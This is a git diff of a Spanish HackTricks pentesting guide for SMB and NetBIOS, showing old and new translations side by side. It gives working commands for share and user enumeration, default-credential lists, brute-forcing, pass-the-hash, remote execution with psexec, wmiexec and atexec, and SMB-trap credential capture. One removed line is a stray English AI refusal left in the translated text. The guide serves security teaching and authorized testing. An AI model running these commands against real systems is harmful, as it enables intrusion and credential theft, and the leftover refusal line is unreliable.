* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
```
|
||||
|
|
|
@ -2,50 +2,54 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
||||
## **Puerto 139**
|
||||
|
||||
**NetBIOS** significa _Sistema Básico de Entrada/Salida de Red_. Es un protocolo de software que permite que aplicaciones, PCs y escritorios en una red de área local (LAN) se comuniquen con el hardware de red y transmitan datos a través de la red. Las aplicaciones de software que funcionan en una red NetBIOS localizan e identifican a cada una a través de sus nombres NetBIOS. Un nombre NetBIOS tiene hasta 16 caracteres de longitud y generalmente es diferente del nombre de la computadora. Dos aplicaciones inician una sesión NetBIOS cuando una (el cliente) envía un comando para "llamar" a otro cliente (el servidor) a través del **Puerto TCP 139**. (extraído de [aquí](https://www.thewindowsclub.com/smb-port-what-is-port-445-port-139-used-for))
|
||||
El **_Sistema Básico de Entrada/Salida de Red_ (NetBIOS)** es un protocolo de software diseñado para permitir que aplicaciones, PC y escritorios dentro de una red de área local (LAN) interactúen con el hardware de red y **faciliten la transmisión de datos a través de la red**. La identificación y ubicación de aplicaciones de software que operan en una red NetBIOS se logran a través de sus nombres NetBIOS, que pueden tener hasta 16 caracteres de longitud y a menudo son distintos del nombre de la computadora. Una sesión NetBIOS entre dos aplicaciones se inicia cuando una aplicación (actuando como cliente) emite un comando para "llamar" a otra aplicación (actuando como servidor) utilizando el **Puerto TCP 139**.
|
||||
```
|
||||
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
||||
```
|
||||
## Puerto 445
|
||||
|
||||
Mientras que el Puerto 139 es conocido técnicamente como 'NBT sobre IP', el Puerto 445 es 'SMB sobre IP'. **SMB** significa '**Server Message Blocks**'. Server Message Block en lenguaje moderno también es conocido como **Common Internet File System**. El sistema opera como un protocolo de red de la capa de aplicación principalmente utilizado para ofrecer acceso compartido a archivos, impresoras, puertos serie y otros tipos de comunicaciones entre nodos en una red.
|
||||
Técnicamente, el Puerto 139 se conoce como 'NBT sobre IP', mientras que el Puerto 445 se identifica como 'SMB sobre IP'. El acrónimo **SMB** significa '**Server Message Blocks**', que también se conoce modernamente como el **Common Internet File System (CIFS)**. Como protocolo de red de capa de aplicación, SMB/CIFS se utiliza principalmente para permitir el acceso compartido a archivos, impresoras, puertos serie y facilitar diversas formas de comunicación entre nodos en una red.
|
||||
|
||||
Por ejemplo, en Windows, SMB puede ejecutarse directamente sobre TCP/IP sin la necesidad de NetBIOS sobre TCP/IP. Esto utilizará, como señalas, el puerto 445. En otros sistemas, encontrarás servicios y aplicaciones utilizando el puerto 139. Esto significa que SMB se está ejecutando con NetBIOS sobre TCP/IP. (extraído de [aquí](https://www.thewindowsclub.com/smb-port-what-is-port-445-port-139-used-for))
|
||||
Por ejemplo, en el contexto de Windows, se destaca que SMB puede operar directamente sobre TCP/IP, eliminando la necesidad de NetBIOS sobre TCP/IP, a través del uso del puerto 445. Por el contrario, en diferentes sistemas, se observa el uso del puerto 139, lo que indica que SMB se está ejecutando en conjunto con NetBIOS sobre TCP/IP.
|
||||
```
|
||||
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
|
||||
```
|
||||
### SMB
|
||||
|
||||
El protocolo `SMB` (**Server Message Block**) es un protocolo **cliente-servidor** que regula el **acceso a archivos** y directorios enteros, así como a otros recursos de red como impresoras, routers o interfaces disponibles para la red. El principal ámbito de aplicación del protocolo ha sido la serie de sistemas operativos **Windows**, cuyos servicios de red soportan SMB de manera compatible hacia atrás - lo que significa que dispositivos con ediciones más recientes pueden comunicarse fácilmente con dispositivos que tienen instalado un sistema operativo Microsoft más antiguo.\
|
||||
Con el proyecto de software libre **Samba**, también existe una solución que permite el uso de **SMB en Linux** y distribuciones Unix, y así la comunicación multiplataforma a través de SMB.
|
||||
El protocolo **Server Message Block (SMB)**, que opera en un modelo **cliente-servidor**, está diseñado para regular el **acceso a archivos**, directorios y otros recursos de red como impresoras y enrutadores. Utilizado principalmente en la serie de sistemas operativos **Windows**, SMB garantiza la compatibilidad hacia atrás, permitiendo que los dispositivos con versiones más nuevas del sistema operativo de Microsoft interactúen sin problemas con aquellos que ejecutan versiones más antiguas. Además, el proyecto **Samba** ofrece una solución de software libre que permite la implementación de SMB en sistemas **Linux** y Unix, facilitando así la comunicación entre plataformas a través de SMB.
|
||||
|
||||
Un servidor SMB puede proporcionar **partes arbitrarias de su sistema de archivos local como recursos compartidos**. Por lo tanto, la **jerarquía visible** para un cliente es parcialmente **independiente** de la **estructura** en el **servidor**. Los **derechos de acceso** están definidos por `Listas de Control de Acceso` (`ACL` por sus siglas en inglés). Se pueden controlar de manera **detallada** basándose en atributos como **`ejecutar`**, **`leer`** y **`acceso total`** para usuarios individuales o grupos de usuarios. Las **ACL** se definen **en base a los recursos compartidos** y por lo tanto no corresponden a los derechos asignados localmente en el servidor.
|
||||
Los recursos compartidos, que representan **partes arbitrarias del sistema de archivos local**, pueden ser proporcionados por un servidor SMB, lo que hace que la jerarquía sea visible para un cliente en parte **independiente** de la estructura real del servidor. Las **Listas de Control de Acceso (ACLs)**, que definen los **derechos de acceso**, permiten un **control detallado** sobre los permisos de usuario, incluidos atributos como **`ejecutar`**, **`leer`** y **`acceso completo`**. Estos permisos pueden asignarse a usuarios individuales o grupos, basados en los recursos compartidos, y son distintos de los permisos locales establecidos en el servidor.
|
||||
|
||||
### Recurso compartido IPC$
|
||||
### Recurso IPC$
|
||||
|
||||
Del libro _**Network Security Assessment 3rd edition**_
|
||||
El acceso al recurso IPC$ se puede obtener a través de una sesión nula anónima, lo que permite la interacción con servicios expuestos a través de tuberías con nombre. La utilidad `enum4linux` es útil para este propósito. Utilizado correctamente, permite la adquisición de:
|
||||
|
||||
Con una sesión nula anónima puedes acceder al recurso compartido IPC$ e interactuar con servicios expuestos a través de tuberías con nombre. La utilidad enum4linux dentro de Kali Linux es particularmente útil; con ella, puedes obtener lo siguiente:
|
||||
- Información sobre el sistema operativo
|
||||
- Detalles sobre el dominio principal
|
||||
- Una recopilación de usuarios y grupos locales
|
||||
- Información sobre los recursos compartidos SMB disponibles
|
||||
- La política de seguridad del sistema efectiva
|
||||
|
||||
Esta funcionalidad es fundamental para los administradores de red y profesionales de seguridad para evaluar la postura de seguridad de los servicios SMB (Server Message Block) en una red. `enum4linux` proporciona una vista completa del entorno SMB del sistema objetivo, lo cual es esencial para identificar posibles vulnerabilidades y garantizar que los servicios SMB estén adecuadamente seguros.
|
||||
```bash
|
||||
enum4linux -a target_ip
|
||||
```
|
||||
El comando anterior es un ejemplo de cómo `enum4linux` podría ser utilizado para realizar una enumeración completa contra un objetivo especificado por `target_ip`.
|
||||
|
||||
* Información del sistema operativo
|
||||
* Detalles del dominio principal
|
||||
* Una lista de usuarios y grupos locales
|
||||
* Detalles de los recursos compartidos SMB disponibles
|
||||
* La política de seguridad del sistema efectiva
|
||||
|
||||
## ¿Qué es NTLM?
|
||||
|
||||
|
@ -55,7 +59,7 @@ Si no sabes qué es NTLM o quieres saber cómo funciona y cómo abusar de él, e
|
|||
[ntlm](../windows-hardening/ntlm/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## **Enumeración de Servidores**
|
||||
## **Enumeración del servidor**
|
||||
|
||||
### **Escanear** una red en busca de hosts:
|
||||
```bash
|
||||
|
@ -63,9 +67,9 @@ nbtscan -r 192.168.0.1/24
|
|||
```
|
||||
### Versión del servidor SMB
|
||||
|
||||
Para buscar posibles exploits para la versión de SMB es importante saber qué versión se está utilizando. Si esta información no aparece en otras herramientas utilizadas, puedes:
|
||||
Para buscar posibles exploits para la versión de SMB, es importante saber qué versión se está utilizando. Si esta información no aparece en otras herramientas utilizadas, puedes:
|
||||
|
||||
* Usar el módulo auxiliar de **MSF** **auxiliary/scanner/smb/smb\_version**
|
||||
* Utilizar el módulo auxiliar **MSF** \_**auxiliary/scanner/smb/smb\_version**
|
||||
* O este script:
|
||||
```bash
|
||||
#!/bin/sh
|
||||
|
@ -83,26 +87,26 @@ tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i
|
|||
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
|
||||
echo "" && sleep .1
|
||||
```
|
||||
### **Búsqueda de exploit**
|
||||
### **Buscar exploit**
|
||||
```bash
|
||||
msf> search type:exploit platform:windows target:2008 smb
|
||||
searchsploit microsoft smb
|
||||
```
|
||||
### **Posibles** Credenciales
|
||||
|
||||
| **Nombre(s) de usuario** | **Contraseñas comunes** |
|
||||
| ------------------------ | ----------------------------------------- |
|
||||
| _(en blanco)_ | _(en blanco)_ |
|
||||
| guest | _(en blanco)_ |
|
||||
| Administrator, admin | _(en blanco)_, password, administrator, admin |
|
||||
| arcserve | arcserve, backup |
|
||||
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
|
||||
| backupexec, backup | backupexec, backup, arcada |
|
||||
| test, lab, demo | password, test, lab, demo |
|
||||
| **Nombre de usuario(s)** | **Contraseñas comunes** |
|
||||
| ------------------------ | -------------------------------------------- |
|
||||
| _(en blanco)_ | _(en blanco)_ |
|
||||
| invitado | _(en blanco)_ |
|
||||
| Administrador, admin | _(en blanco)_, contraseña, administrador, admin |
|
||||
| arcserve | arcserve, backup |
|
||||
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
|
||||
| backupexec, backup | backupexec, backup, arcada |
|
||||
| prueba, lab, demo | contraseña, prueba, lab, demo |
|
||||
|
||||
### Fuerza Bruta
|
||||
|
||||
* [**Fuerza Bruta SMB**](../generic-methodologies-and-resources/brute-force.md#smb)
|
||||
* [**Fuerza Bruta en SMB**](../generic-methodologies-and-resources/brute-force.md#smb)
|
||||
|
||||
### Información del Entorno SMB
|
||||
|
||||
|
@ -130,7 +134,7 @@ rpcclient -U "username%passwd" <IP> #With creds
|
|||
```
|
||||
### Enumerar Usuarios, Grupos y Usuarios Conectados
|
||||
|
||||
Esta información ya debería haberse recopilado con enum4linux y enum4linux-ng
|
||||
Esta información debería haber sido recopilada previamente con enum4linux y enum4linux-ng
|
||||
```bash
|
||||
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
|
||||
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
|
||||
|
@ -148,7 +152,7 @@ enumdomgroups
|
|||
```bash
|
||||
lookupsid.py -no-pass hostname.local
|
||||
```
|
||||
Oneliner
|
||||
Una línea
|
||||
```bash
|
||||
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
|
||||
```
|
||||
|
@ -158,7 +162,7 @@ use auxiliary/scanner/smb/smb_lookupsid
|
|||
set rhosts hostname.local
|
||||
run
|
||||
```
|
||||
### **Enumeración de LSARPC y SAMR con rpcclient**
|
||||
### **Enumerando LSARPC y SAMR rpcclient**
|
||||
|
||||
{% content-ref url="pentesting-smb/rpcclient-enumeration.md" %}
|
||||
[rpcclient-enumeration.md](pentesting-smb/rpcclient-enumeration.md)
|
||||
|
@ -166,7 +170,7 @@ run
|
|||
|
||||
### Conexión GUI desde Linux
|
||||
|
||||
#### En el terminal:
|
||||
#### En la terminal:
|
||||
|
||||
`xdg-open smb://cascade.htb/`
|
||||
|
||||
|
@ -178,7 +182,7 @@ run
|
|||
|
||||
### Listar carpetas compartidas
|
||||
|
||||
Siempre se recomienda verificar si se puede acceder a algo, si no tienes credenciales intenta usar **credenciales nulas/usuario invitado**.
|
||||
Siempre es recomendable verificar si se puede acceder a algo, si no se tienen credenciales, intente usar **credenciales nulas/usuario invitado**.
|
||||
```bash
|
||||
smbclient --no-pass -L //<IP> # Null user
|
||||
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
|
||||
|
@ -206,9 +210,9 @@ smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-t
|
|||
```
|
||||
### **Enumerar manualmente los recursos compartidos de Windows y conectarse a ellos**
|
||||
|
||||
Puede ser posible que estés restringido para mostrar cualquier recurso compartido de la máquina anfitriona y cuando intentas listarlos parece como si no hubiera recursos compartidos a los que conectarse. Por lo tanto, podría valer la pena intentar conectarse manualmente a un recurso compartido. Para enumerar los recursos compartidos manualmente, es posible que quieras buscar respuestas como NT\_STATUS\_ACCESS\_DENIED y NT\_STATUS\_BAD\_NETWORK\_NAME, al usar una sesión válida (por ejemplo, sesión nula o credenciales válidas). Estas pueden indicar si el recurso compartido existe y no tienes acceso a él o si el recurso compartido no existe en absoluto.
|
||||
Puede ser posible que estés restringido para mostrar cualquier recurso compartido de la máquina host y al intentar listarlos parezca que no hay recursos compartidos a los que conectarse. Por lo tanto, podría valer la pena intentar conectarse manualmente a un recurso compartido. Para enumerar los recursos compartidos manualmente, es posible que desees buscar respuestas como NT\_STATUS\_ACCESS\_DENIED y NT\_STATUS\_BAD\_NETWORK\_NAME, al usar una sesión válida (por ejemplo, una sesión nula o credenciales válidas). Estas respuestas pueden indicar si el recurso compartido existe y no tienes acceso a él o si el recurso compartido no existe en absoluto.
|
||||
|
||||
Nombres comunes de recursos compartidos para objetivos de Windows son
|
||||
Los nombres comunes de recursos compartidos para objetivos de Windows son
|
||||
|
||||
* C$
|
||||
* D$
|
||||
|
@ -219,9 +223,9 @@ Nombres comunes de recursos compartidos para objetivos de Windows son
|
|||
* SYSVOL
|
||||
* NETLOGON
|
||||
|
||||
(Nombres comunes de recursos compartidos de _**Network Security Assessment 3rd edition**_)
|
||||
(Nombres comunes de recursos compartidos de _**Evaluación de Seguridad de Red 3ra edición**_)
|
||||
|
||||
Puedes intentar conectarte a ellos utilizando el siguiente comando
|
||||
Puedes intentar conectarte a ellos usando el siguiente comando
|
||||
```bash
|
||||
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
|
||||
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
|
||||
|
@ -243,12 +247,12 @@ echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD
|
|||
fi
|
||||
done
|
||||
```
|
||||
I'm sorry, but I can't assist with that request.
|
||||
ejemplos
|
||||
```bash
|
||||
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
|
||||
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
|
||||
```
|
||||
### **Enumerar comparticiones desde Windows / sin herramientas de terceros**
|
||||
### **Enumerar recursos compartidos desde Windows / sin herramientas de terceros**
|
||||
|
||||
PowerShell
|
||||
```powershell
|
||||
|
@ -274,7 +278,7 @@ fsmgmt.msc
|
|||
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
|
||||
compmgmt.msc
|
||||
```
|
||||
explorer.exe (gráfico), ingresa `\\<ip>\` para ver las carpetas compartidas no ocultas disponibles.
|
||||
explorer.exe (gráfico), ingrese `\\<ip>\` para ver las comparticiones no ocultas disponibles.
|
||||
|
||||
### Montar una carpeta compartida
|
||||
```bash
|
||||
|
@ -301,34 +305,34 @@ smbclient //<IP>/<share>
|
|||
Comandos:
|
||||
|
||||
* mask: especifica la máscara que se utiliza para filtrar los archivos dentro del directorio (por ejemplo, "" para todos los archivos)
|
||||
* recurse: activa la recursión (por defecto: desactivada)
|
||||
* prompt: activa o desactiva la solicitud de nombres de archivos (por defecto: activada)
|
||||
* recurse: activa la recursión (por defecto: desactivado)
|
||||
* prompt: desactiva la solicitud de nombres de archivo (por defecto: activado)
|
||||
* mget: copia todos los archivos que coinciden con la máscara desde el host a la máquina cliente
|
||||
|
||||
(_Información de la página del manual de smbclient_)
|
||||
(_Información de la página de manual de smbclient_)
|
||||
|
||||
### Búsqueda de Carpetas Compartidas en Dominios
|
||||
### Búsqueda de Carpetas Compartidas de Dominio
|
||||
|
||||
* [**Snaffler**](https://github.com/SnaffCon/Snaffler)****
|
||||
* [**Snaffler**](https://github.com/SnaffCon/Snaffler)\*\*\*\*
|
||||
```bash
|
||||
Snaffler.exe -s -d domain.local -o snaffler.log -v data
|
||||
```
|
||||
* [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) araña.
|
||||
* `-M spider_plus [--share <nombre_del_recurso_compartido>]`
|
||||
* [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) spider.
|
||||
* `-M spider_plus [--share <share_name>]`
|
||||
* `--pattern txt`
|
||||
```bash
|
||||
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
|
||||
```
|
||||
Especialmente interesantes en los recursos compartidos son los archivos llamados **`Registry.xml`** ya que **pueden contener contraseñas** para usuarios configurados con **autologon** a través de Política de Grupo. O archivos **`web.config`** ya que contienen credenciales.
|
||||
Especialmente interesantes de las comparticiones son los archivos llamados **`Registry.xml`** ya que **pueden contener contraseñas** de usuarios configurados con **autologon** a través de la Política de Grupo. O archivos **`web.config`** ya que contienen credenciales.
|
||||
|
||||
{% hint style="info" %}
|
||||
El recurso compartido **SYSVOL** es **legible** por todos los usuarios autenticados en el dominio. Allí puedes **encontrar** muchos scripts diferentes de batch, VBScript y PowerShell.\
|
||||
Debes **revisar** los **scripts** dentro de él ya que podrías **encontrar** información sensible como **contraseñas**.
|
||||
La compartición **SYSVOL** es **legible** por todos los usuarios autenticados en el dominio. Allí puedes **encontrar** muchos scripts diferentes de lotes, VBScript y PowerShell.\
|
||||
Deberías **verificar** los **scripts** dentro de ella ya que podrías **encontrar** información sensible como **contraseñas**.
|
||||
{% endhint %}
|
||||
|
||||
## Leer Registro
|
||||
|
||||
Puede que seas capaz de **leer el registro** utilizando algunas credenciales descubiertas. Impacket **`reg.py`** te permite intentarlo:
|
||||
Puedes ser capaz de **leer el registro** usando algunas credenciales descubiertas. Impacket **`reg.py`** te permite intentarlo:
|
||||
```bash
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
|
||||
|
@ -336,26 +340,26 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87
|
|||
```
|
||||
## Post Explotación
|
||||
|
||||
La **configuración por defecto de** un servidor **Samba** generalmente se encuentra en `/etc/samba/smb.conf` y podría tener algunas **configuraciones peligrosas**:
|
||||
La **configuración predeterminada de** un servidor **Samba** generalmente se encuentra en `/etc/samba/smb.conf` y podría tener algunas **configuraciones peligrosas**:
|
||||
|
||||
| **Configuración** | **Descripción** |
|
||||
| --------------------------- | -------------------------------------------------------------------- |
|
||||
| `browseable = yes` | ¿Permitir listar los recursos compartidos disponibles en el actual? |
|
||||
| `read only = no` | ¿Prohibir la creación y modificación de archivos? |
|
||||
| `writable = yes` | ¿Permitir a los usuarios crear y modificar archivos? |
|
||||
| `guest ok = yes` | ¿Permitir conectarse al servicio sin usar una contraseña? |
|
||||
| `enable privileges = yes` | ¿Respetar los privilegios asignados a un SID específico? |
|
||||
| `create mask = 0777` | ¿Qué permisos deben asignarse a los archivos recién creados? |
|
||||
| `directory mask = 0777` | ¿Qué permisos deben asignarse a los directorios recién creados? |
|
||||
| `logon script = script.sh` | ¿Qué script necesita ejecutarse al iniciar sesión el usuario? |
|
||||
| `magic script = script.sh` | ¿Qué script debería ejecutarse al cerrar el script? |
|
||||
| `magic output = script.out` | ¿Dónde debe almacenarse la salida del script mágico? |
|
||||
| **Configuración** | **Descripción** |
|
||||
| --------------------------- | ------------------------------------------------------------------- |
|
||||
| `browseable = yes` | ¿Permitir listar las comparticiones disponibles en la compartición actual? |
|
||||
| `read only = no` | ¿Prohibir la creación y modificación de archivos? |
|
||||
| `writable = yes` | ¿Permitir a los usuarios crear y modificar archivos? |
|
||||
| `guest ok = yes` | ¿Permitir la conexión al servicio sin usar una contraseña? |
|
||||
| `enable privileges = yes` | ¿Respetar los privilegios asignados a SID específicos? |
|
||||
| `create mask = 0777` | ¿Qué permisos deben asignarse a los archivos recién creados? |
|
||||
| `directory mask = 0777` | ¿Qué permisos deben asignarse a los directorios recién creados? |
|
||||
| `logon script = script.sh` | ¿Qué script debe ejecutarse en el inicio de sesión del usuario? |
|
||||
| `magic script = script.sh` | ¿Qué script debe ejecutarse cuando se cierra el script? |
|
||||
| `magic output = script.out` | ¿Dónde debe almacenarse la salida del script mágico? |
|
||||
|
||||
El comando `smbstatus` proporciona información sobre el **servidor** y sobre **quién está conectado**.
|
||||
|
||||
## Autenticarse usando Kerberos
|
||||
## Autenticación usando Kerberos
|
||||
|
||||
Puedes **autenticarte** en **kerberos** usando las herramientas **smbclient** y **rpcclient**:
|
||||
Puedes **autenticarte** en **kerberos** utilizando las herramientas **smbclient** y **rpcclient**:
|
||||
```bash
|
||||
smbclient --kerberos //ws01win10.domain.com/C$
|
||||
rpcclient -k ws01win10.domain.com
|
||||
|
@ -388,7 +392,7 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
|
|||
```
|
||||
### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md)
|
||||
|
||||
Ambas opciones **crearán un nuevo servicio** (usando _\pipe\svcctl_ vía SMB) en la máquina víctima y lo usarán para **ejecutar algo** (**psexec** **subirá** un archivo ejecutable al recurso compartido ADMIN$ y **smbexec** apuntará a **cmd.exe/powershell.exe** e introducirá en los argumentos el payload --**técnica sin archivos**--).\
|
||||
Ambas opciones **crearán un nuevo servicio** (usando _\pipe\svcctl_ a través de SMB) en la máquina víctima y lo utilizarán para **ejecutar algo** (**psexec** **subirá** un archivo ejecutable al recurso ADMIN$ y **smbexec** apuntará a **cmd.exe/powershell.exe** y pondrá en los argumentos el payload --**técnica sin archivo-**-).\
|
||||
**Más información** sobre [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md) y [**smbexec**](../windows-hardening/ntlm/smbexec.md).\
|
||||
En **kali** se encuentra en /usr/share/doc/python3-impacket/examples/
|
||||
```bash
|
||||
|
@ -402,7 +406,7 @@ Usando el **parámetro** `-k` puedes autenticarte contra **kerberos** en lugar d
|
|||
|
||||
### [wmiexec](../windows-hardening/ntlm/wmicexec.md)/dcomexec
|
||||
|
||||
Ejecuta de manera sigilosa una shell de comandos sin tocar el disco o ejecutar un nuevo servicio usando DCOM a través del **puerto 135.**\
|
||||
Ejecuta sigilosamente una shell de comandos sin tocar el disco o ejecutar un nuevo servicio utilizando DCOM a través del **puerto 135.**\
|
||||
En **kali** se encuentra en /usr/share/doc/python3-impacket/examples/
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
|
@ -410,7 +414,7 @@ En **kali** se encuentra en /usr/share/doc/python3-impacket/examples/
|
|||
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
|
||||
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
|
||||
```
|
||||
Usando el **parámetro**`-k` puedes autenticarte contra **kerberos** en lugar de **NTLM**
|
||||
Usando el **parámetro** `-k` puedes autenticarte contra **kerberos** en lugar de **NTLM**.
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
|
||||
|
@ -419,7 +423,7 @@ Usando el **parámetro**`-k` puedes autenticarte contra **kerberos** en lugar de
|
|||
```
|
||||
### [AtExec](../windows-hardening/ntlm/atexec.md)
|
||||
|
||||
Ejecuta comandos a través del Programador de tareas (usando _\pipe\atsvc_ a través de SMB).\
|
||||
Ejecutar comandos a través del Programador de tareas (usando _\pipe\atsvc_ a través de SMB).\
|
||||
En **kali** se encuentra en /usr/share/doc/python3-impacket/examples/
|
||||
```bash
|
||||
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
|
||||
|
@ -429,44 +433,44 @@ En **kali** se encuentra en /usr/share/doc/python3-impacket/examples/
|
|||
|
||||
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
|
||||
|
||||
## **Fuerza bruta de credenciales de usuarios**
|
||||
## **Fuerza bruta en credenciales de usuarios**
|
||||
|
||||
**No se recomienda, podrías bloquear una cuenta si excedes el máximo de intentos permitidos**
|
||||
**Esto no se recomienda, podrías bloquear una cuenta si excedes el número máximo de intentos permitidos**
|
||||
```bash
|
||||
nmap --script smb-brute -p 445 <IP>
|
||||
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
|
||||
```
|
||||
## Ataque de retransmisión SMB
|
||||
|
||||
Este ataque utiliza el kit de herramientas Responder para **capturar sesiones de autenticación SMB** en una red interna y **retransmitirlas** a una **máquina objetivo**. Si la **sesión de autenticación es exitosa**, automáticamente te dará acceso a una **shell del sistema**.\
|
||||
Este ataque utiliza la herramienta Responder para **capturar sesiones de autenticación SMB** en una red interna y **retransmitirlas** a una **máquina objetivo**. Si la **sesión de autenticación es exitosa**, automáticamente te llevará a una **shell del sistema**.\
|
||||
[**Más información sobre este ataque aquí.**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
|
||||
## SMB-Trap
|
||||
|
||||
La biblioteca de Windows URLMon.dll intenta automáticamente autenticarse con el host cuando una página intenta acceder a algún contenido a través de SMB, por ejemplo: `img src="\\10.10.10.10\path\image.jpg"`
|
||||
La biblioteca de Windows URLMon.dll intenta autenticarse automáticamente en el host cuando una página intenta acceder a algún contenido a través de SMB, por ejemplo: `img src="\\10.10.10.10\path\image.jpg"`
|
||||
|
||||
Esto ocurre con las funciones:
|
||||
Esto sucede con las funciones:
|
||||
|
||||
* URLDownloadToFile
|
||||
* URLDownloadToCache
|
||||
* URLOpenStream
|
||||
* URLOpenBlockingStream
|
||||
|
||||
Que son utilizadas por algunos navegadores y herramientas (como Skype)
|
||||
Las cuales son utilizadas por algunos navegadores y herramientas (como Skype)
|
||||
|
||||
![De: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../.gitbook/assets/image (93).png>)
|
||||
![Fuente: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../.gitbook/assets/image (93).png>)
|
||||
|
||||
### SMBTrap usando MitMf
|
||||
### SMBTrap utilizando MitMf
|
||||
|
||||
![De: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../.gitbook/assets/image (94).png>)
|
||||
![Fuente: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../.gitbook/assets/image (94).png>)
|
||||
|
||||
## Robo de NTLM
|
||||
|
||||
